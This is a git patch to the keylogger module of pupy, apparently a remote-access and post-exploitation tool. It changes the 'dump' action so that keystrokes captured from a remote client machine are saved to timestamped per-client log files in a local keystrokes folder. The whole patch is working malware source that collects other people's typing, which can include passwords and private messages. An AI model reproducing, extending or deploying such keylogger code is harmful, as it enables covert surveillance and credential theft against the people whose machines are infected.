From 30df6e78be4f96cfe92bef11c3fda48b15d15b16 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sun, 13 Mar 2016 14:05:30 -0400 Subject: [PATCH] automatically save keystrokes to file --- pupy/modules/keylogger.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/pupy/modules/keylogger.py b/pupy/modules/keylogger.py index a0fb77eb..ec50a43b 100644 --- a/pupy/modules/keylogger.py +++ b/pupy/modules/keylogger.py @@ -8,6 +8,8 @@ import logging import struct import traceback import time +import os +import datetime from pupylib.utils.rpyc_utils import redirected_stdio __class_name__="KeyloggerModule" @@ -37,11 +39,21 @@ class KeyloggerModule(PupyModule): else: self.success("keylogger started !") elif args.action=="dump": - self.success("dumping recorded keystrokes :") + try: + os.makedirs(os.path.join("data","keystrokes")) + except Exception: + pass + data=self.client.conn.modules["pupwinutils.keylogger"].keylogger_dump() if data is None: self.error("keylogger not started") + elif not data: + self.warning("no keystrokes recorded") else: + filepath=os.path.join("data", "keystrokes","keys_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".log") + self.success("dumping recorded keystrokes in %s"%filepath) + with open(filepath, 'w') as f: + f.write(data) self.log(data) elif args.action=="stop":